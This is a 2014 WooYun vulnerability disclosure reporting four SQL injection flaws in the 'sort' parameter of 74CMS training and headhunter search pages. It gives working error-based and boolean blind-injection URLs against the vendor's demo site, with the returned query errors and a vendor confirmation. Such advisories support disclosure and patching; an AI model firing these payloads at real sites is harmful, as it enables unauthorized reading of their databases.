当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-081834

漏洞标题:骑士CMS某新功能4处SQL注入

相关厂商:74c,s.com

漏洞作者: 龟兔赛跑

提交时间:2014-11-05 16:40

修复时间:2015-02-03 16:42

公开时间:2015-02-03 16:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-05: 细节已通知厂商并且等待厂商处理中
2014-11-08: 厂商已经确认,细节仅向厂商公开
2014-11-11: 细节向第三方安全合作伙伴开放
2015-01-02: 细节向核心白帽子及相关领域专家公开
2015-01-12: 细节向普通白帽子公开
2015-01-22: 细节向实习白帽子公开
2015-02-03: 细节向公众公开

简要描述:

骑士CMS官网某新功能4处SQL盲注,官网测试。

详细说明:

官网培训信息搜索和猎头工作搜索等4处SQL盲注。
0x01: 当前位置:首页 > 教育培训 > 课程列表
搜索课程

http://demo.74cms.com/train/train-curriculum-list.php?district=&category=&sdistrict=&classtype=&start=&refre=&sort=hot%3Edesc&key=


参数sort存在SQL注入,desc后面的字符串全部带入SQL:

http://demo.74cms.com/train/train-curriculum-list.php?district=&category=&sdistrict=&classtype=&start=&refre=&sort=hot%3Edesc%27&key=


插入',返回错误:

Error:Query error:SELECT * FROM qs_course WHERE audit=1 AND display=1 AND add_mode=1 ORDER BY click desc\' LIMIT 0 , 10


1.png


盲注:
TRUE的情况:

http://demo.74cms.com/train/train-curriculum-list.php?district=&category=&sdistrict=&classtype=&start=&refre=&sort=hot%3Edesc,if(strcmp(substr(user(),1,14),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116)),refreshtime,click)%20limit%201%23&key=


11.png


FALSE的情况:

http://demo.74cms.com/train/train-curriculum-list.php?district=&category=&sdistrict=&classtype=&start=&refre=&sort=hot%3Edesc,if(strcmp(substr(user(),1,13),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116)),refreshtime,click)%20limit%201%23&key=


12.png


0x02: 当前位置:首页 > 教育培训 > 机构列表
机构列表

http://demo.74cms.com/train/train-agency-list.php?inforow=10&page=1&nature=&district=&sdistrict=&sort=hot%3Edesc


sort参数存在SQL注入:

http://demo.74cms.com/train/train-agency-list.php?inforow=10&page=1&nature=&district=&sdistrict=&sort=hot%3Edesc%27


插入',返回SQL错误:

Error:Query error:SELECT * FROM qs_train_profile ORDER BY click desc\' LIMIT 0 , 10


2.png


盲注TRUE的情况:

http://demo.74cms.com/train/train-agency-list.php?inforow=10&page=1&nature=&district=&sdistrict=&sort=hot%3Easc,if(strcmp(substr(user(),1,14),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116)),refreshtime,click)%20desc%20limit%201%23


21.png


FALSE的情况:

22.png


0x03:当前位置:首页 > 教育培训 > 讲师列表
讲师列表

http://demo.74cms.com/train/train-lecturer-list.php?education=&district=&sdistrict=&sort=hot%3Edesc&inforow=


sort参数存在SQL注入:

http://demo.74cms.com/train/train-lecturer-list.php?education=&district=&sdistrict=&sort=hot%3Edesc%27&inforow=


返回SQL错误:

Error:Query error:SELECT * FROM qs_train_teachers WHERE audit=1 ORDER BY click desc\' LIMIT 0 , 10


3.png


盲注TRUE的情况:

http://demo.74cms.com/train/train-lecturer-list.php?education=&district=&sdistrict=&sort=hot%3Easc,if(strcmp(substr(user(),1,14),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116)),refreshtime,click)%20desc%20limit%201%23&inforow=


31.png


FALSE:

http://demo.74cms.com/train/train-lecturer-list.php?education=&district=&sdistrict=&sort=hot%3Easc,if(strcmp(substr(user(),1,13),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116)),refreshtime,click)%20desc%20limit%201%23&inforow=


32.png


0x04:当前位置:首页 > 高级招聘信息 > 搜索结果
搜索方式 : 全能搜索

http://demo.74cms.com/hunter/jobs-list.php?sort=hot%3Edesc&page=1&jobcategory=&education=&citycategory=&experience=&settr=&trade=&wage=&nature=


sort存在SQL注入,注入':

http://demo.74cms.com/hunter/jobs-list.php?sort=hot%3Edesc%27&page=1&jobcategory=&education=&citycategory=&experience=&settr=&trade=&wage=&nature=


返回SQL错误:

Error:Query error:SELECT * FROM qs_hunter_jobs ORDER BY click desc\' LIMIT 0 , 10


4.png


盲注TRUE:

http://demo.74cms.com/hunter/jobs-list.php?sort=hot%3Easc,if(strcmp(substr(user(),1,14),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116)),refreshtime,click)%20desc%20limit%201%23&page=1&jobcategory=&education=&citycategory=&experience=&settr=&trade=&wage=&nature=


41.png


FALSE:

http://demo.74cms.com/hunter/jobs-list.php?sort=hot%3Easc,if(strcmp(substr(user(),1,13),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116)),refreshtime,click)%20desc%20limit%201%23&page=1&jobcategory=&education=&citycategory=&experience=&settr=&trade=&wage=&nature=


42.png

漏洞证明:

1.png


2.png


3.png


4.png

修复方案:

木有代码,你们更专业。

版权声明:转载请注明来源 龟兔赛跑@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-11-08 12:08

厂商回复:

感谢反馈!

最新状态:

暂无